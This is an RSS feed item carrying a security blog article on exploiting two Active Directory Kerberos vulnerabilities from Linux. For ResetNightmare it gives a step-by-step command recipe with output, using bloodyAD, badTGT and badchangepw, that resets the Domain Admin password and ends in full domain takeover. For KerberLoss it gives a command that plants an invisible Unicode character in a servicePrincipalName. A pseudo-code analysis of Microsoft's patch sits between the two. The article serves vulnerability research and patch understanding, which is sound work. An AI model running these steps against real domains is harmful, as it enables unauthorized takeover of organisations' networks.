<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Kerberos |</title><link>https://cravaterouge.com/tag/kerberos/</link><atom:link href="https://cravaterouge.com/tag/kerberos/index.xml" rel="self" type="application/rss+xml"/><description>Kerberos</description><generator>HugoBlox Kit (https://hugoblox.com)</generator><language>en-us</language><lastBuildDate>Mon, 10 Aug 2026 00:00:00 +0000</lastBuildDate><image><url>https://cravaterouge.com/media/sharing.png</url><title>Kerberos</title><link>https://cravaterouge.com/tag/kerberos/</link></image><item><title>Exploiting AD ResetNightmare (CVE-2026-27912) and KerberLoss (CVE-2026-25177) from Linux</title><link>https://cravaterouge.com/articles/resetnightmare/</link><pubDate>Mon, 10 Aug 2026 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/articles/resetnightmare/</guid><description>&lt;p&gt;This article describes how to exploit two Kerberos-related Active Directory issues that were &lt;a href="https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/" target="_blank" rel="noopener"&gt;discovered&lt;/a&gt; in the end of 2025 by Shai Laron from Semperis: ResetNightmare (&lt;code&gt;CVE-2026-27912&lt;/code&gt;) and KerberLoss (&lt;code&gt;CVE-2026-25177&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="resetnightmare-cve-2026-27912"&gt;ResetNightmare (CVE-2026-27912)&lt;/h2&gt;
&lt;p&gt;ResetNightmare is a Windows Kerberos authorization weakness that has been patched by Microsoft in &lt;a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912" target="_blank" rel="noopener"&gt;April 14 2026&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The researcher was looking for uniqueness verification flaws in Active Directory and discovered that setting the SamAccountName as a UPN (User Principal Name) for another user could be exploited through the Kerberos password change protocol.&lt;/p&gt;
&lt;p&gt;This would allow an attacker having a &lt;code&gt;Write&lt;/code&gt; right on a UPN to get a &lt;strong&gt;Full Domain Takeover&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;In the demo below the attacker has a &lt;code&gt;Write&lt;/code&gt; right on &lt;code&gt;john&lt;/code&gt; user&amp;rsquo;s UPN.&lt;/p&gt;
&lt;h3 id="step-1-copy-a-domain-admin-samaccountname-as-a-userprincipalname-value-for-another-user"&gt;Step 1: Copy a Domain Admin &lt;code&gt;sAMAccountName&lt;/code&gt; as a &lt;code&gt;userPrincipalName&lt;/code&gt; value for another user&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodyAD -H 192.168.100.3 -d bloody -u john -p &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; get object &lt;span class="s1"&gt;&amp;#39;Administrator&amp;#39;&lt;/span&gt; --attr sAMAccountName
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;distinguishedName: &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Administrator,CN&lt;span class="o"&gt;=&lt;/span&gt;Users,DC&lt;span class="o"&gt;=&lt;/span&gt;bloody,DC&lt;span class="o"&gt;=&lt;/span&gt;corp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sAMAccountName: Administrator
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodyAD -H 192.168.100.3 -d bloody -u john -p &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt; object john userPrincipalName -v Administrator
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; john&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;s userPrincipalName has been updated
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="step-2-generate-a-kerberos-credential-cache-for-the-change-password-service"&gt;Step 2: Generate a Kerberos credential cache for the change-password service&lt;/h3&gt;
&lt;p&gt;Then we will request a TGT bound to the &lt;code&gt;kadmin/changepw&lt;/code&gt; service for &lt;strong&gt;john&lt;/strong&gt; but using his UPN &lt;code&gt;Administrator&lt;/code&gt; by providing &lt;code&gt;ptype=10&lt;/code&gt; which tells Kerberos that the username we provided is of UPN type (&lt;code&gt;NT-ENTERPRISE(10)&lt;/code&gt;) and not a sAMAccountName (&lt;code&gt;NT-PRINCIPAL(1)&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;badTGT &lt;span class="s1"&gt;&amp;#39;kerberos+pw://bloody.corp\Administrator:Password123!@192.168.100.3/?ptype=10&amp;#39;&lt;/span&gt; --ccache john.ccache --sname kadmin/changepw
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TGT stored in ccache file john.ccache
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Realm : BLOODY.CORP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sname : kadmin/changepw
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;UserName : Administrator
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;UserRealm : BLOODY.CORP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;StartTime : 2026-08-10 04:00:25+00:00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EndTime : 2026-08-10 04:02:25+00:00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RenewTill : 2026-08-10 04:02:25+00:00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Flags : renewable, pre-authent, forwardable, initial, enc-pa-rep
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Keytype : &lt;span class="m"&gt;23&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Key : vY2Etp/mzA7WT3x6BBnVPQ&lt;span class="o"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EncodedKirbi :
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;...&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; Done!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="step-3-clear-the-spoofed-userprincipalname"&gt;Step 3: Clear the spoofed &lt;code&gt;userPrincipalName&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodyAD -H 192.168.100.3 -d bloody -u john -p &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt; object john userPrincipalName
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This step will allow us to trick the password-change service that will only find the user with the Administrator &lt;code&gt;sAMAccountName&lt;/code&gt; in the next step.&lt;/p&gt;
&lt;h3 id="step-4-submit-a-password-change-request-with-the-tgt"&gt;Step 4: Submit a password-change request with the TGT&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;badchangepw &lt;span class="s1"&gt;&amp;#39;kerberos+ccache://BLOODY.CORP\Administrator:john.ccache@192.168.100.3&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;newAdminPwd1!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password changed successfully!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;s it you&amp;rsquo;re now domain admin of BLOODY.CORP!&lt;/p&gt;
&lt;h2 id="resetnightmare-patch-analysis"&gt;ResetNightmare Patch Analysis&lt;/h2&gt;
&lt;p&gt;A small BinDiff between the two &lt;code&gt;kdcsrv.dll&lt;/code&gt; builds that were available before and after the April 2026 patch shows that the change lands inside the &lt;code&gt;KdcChangePassword&lt;/code&gt; request path, not in the object-store access path. The emphasis of the patch is to add a new decision branch before the password-reset operation is allowed to continue and, in effect, to enforce an additional identity / PAC-SID check for the ticket that is being used to drive the reset.&lt;/p&gt;
&lt;p&gt;Below the pseudo-code reconsitution:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request_is_a_password_change_request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// The post-patch build introduces a new validation gate.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;feature_enabled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_Descriptor&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;feature_enabled&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name_or_identifier_check_is_not_strictly_resolved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// A second validation function is called here.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// The goal is to reject a request that cannot be tied to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// a valid PAC/SID context.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;KdcValidatePacUserSid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ticket_info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pac_info&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;STATUS_ACCESS_DENIED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If the new gate passes, the rest of the KDC change-password flow can run.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;continue_KdcChangePassword&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;From the perspective of the patch, the most important indicator is this new element:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;KdcValidatePacUserSid()&lt;/code&gt; is new in the change-password execution branch and is used to reject a password change when the caller&amp;rsquo;s identity does not pass the PAC/SID validation expected by the patched KDC logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="kerberloss-cve-2026-25177"&gt;KerberLoss (CVE-2026-25177)&lt;/h2&gt;
&lt;p&gt;KerberLoss is the companion CVE that appears in the Semperis research publication. The issue is associated with the risk of malicious or confusing object names being accepted by AD and subsequently used in Kerberos service logic. 3 scenarios have been identified by the researcher:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Denial-of-service to HOST-mapped services&lt;/li&gt;
&lt;li&gt;SPN-jacking (simplifies S4U attack)&lt;/li&gt;
&lt;li&gt;Authentication downgrade (Kerberos to NTLM)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This vulnerability has been patched by Microsoft in &lt;a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177" target="_blank" rel="noopener"&gt;March 10, 2026&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A practical representation of that family of objects is the use of invisible Unicode characters in a servicePrincipalName attribute:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodyAD -H 192.168.100.3 -d bloody -u john -p &lt;span class="s1"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt; object &lt;span class="s1"&gt;&amp;#39;JOHNPC$&amp;#39;&lt;/span&gt; serviceprincipalname --bak -v &lt;span class="s1"&gt;&amp;#39;HOST/MAI&amp;#39;$&amp;#39;\UE0154&amp;#39;&amp;#39;N&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;+&lt;span class="o"&gt;]&lt;/span&gt; JOHNPC&lt;span class="s1"&gt;$&amp;#39;s serviceprincipalname has been updated
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;[+] Restore command:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; set object &amp;#39;&lt;/span&gt;JOHNPC&lt;span class="s1"&gt;$&amp;#39; servicePrincipalName -v &amp;#39;&lt;/span&gt;RestrictedKrbHost/JOHNPC&lt;span class="s1"&gt;&amp;#39; -v &amp;#39;&lt;/span&gt;HOST/JOHNPC&lt;span class="s1"&gt;&amp;#39; -v &amp;#39;&lt;/span&gt;RestrictedKrbHost/JOHNPC.bloody.corp&lt;span class="s1"&gt;&amp;#39; -v &amp;#39;&lt;/span&gt;HOST/JOHNPC.bloody.corp&lt;span class="s1"&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;bloodyAD -H 192.168.100.3 -d bloody -u john -p &amp;#39;&lt;/span&gt;Password123!&lt;span class="s1"&gt;&amp;#39; get object &amp;#39;&lt;/span&gt;JOHNPC$&lt;span class="err"&gt;&amp;#39;&lt;/span&gt; --attr servicePrincipalName &lt;span class="p"&gt;|&lt;/span&gt; xxd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000000: 0a64 &lt;span class="m"&gt;6973&lt;/span&gt; &lt;span class="m"&gt;7469&lt;/span&gt; 6e67 &lt;span class="m"&gt;7569&lt;/span&gt; &lt;span class="m"&gt;7368&lt;/span&gt; &lt;span class="m"&gt;6564&lt;/span&gt; 4e61 .distinguishedNa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000010: 6d65 3a20 434e 3d4a 4f48 4e50 432c 434e me: &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;JOHNPC,CN
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000020: 3d43 6f6d &lt;span class="m"&gt;7075&lt;/span&gt; &lt;span class="m"&gt;7465&lt;/span&gt; &lt;span class="m"&gt;7273&lt;/span&gt; 2c44 433d &lt;span class="nv"&gt;626c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;Computers,DC&lt;span class="o"&gt;=&lt;/span&gt;bl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000030: 6f6f &lt;span class="m"&gt;6479&lt;/span&gt; 2c44 433d 636f &lt;span class="m"&gt;7270&lt;/span&gt; 0a73 &lt;span class="m"&gt;6572&lt;/span&gt; oody,DC&lt;span class="o"&gt;=&lt;/span&gt;corp.ser
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000040: &lt;span class="m"&gt;7669&lt;/span&gt; &lt;span class="m"&gt;6365&lt;/span&gt; &lt;span class="m"&gt;5072&lt;/span&gt; 696e &lt;span class="m"&gt;6369&lt;/span&gt; &lt;span class="m"&gt;7061&lt;/span&gt; 6c4e 616d vicePrincipalNam
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000050: 653a &lt;span class="m"&gt;2063&lt;/span&gt; &lt;span class="m"&gt;6966&lt;/span&gt; 732f 4d41 49f3 a085 944e e: cifs/MAI....N
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000060: 0a .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Set&lt;/code&gt; command above allows to insert a non-printable unicode character which only appears in bash using &lt;code&gt;xxd&lt;/code&gt; where we can see &lt;code&gt;servicePrincipalName: cifs/MAI....N&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This article does not go further into the KerberLoss details, because the rest of that path is largely described in the Semperis publication and does not need another extended explanation. The intent here is only to place it alongside ResetNightmare as a second 2026 Active Directory/Kerberos naming problem that shares the same investigative surface.&lt;/p&gt;</description></item></channel></rss>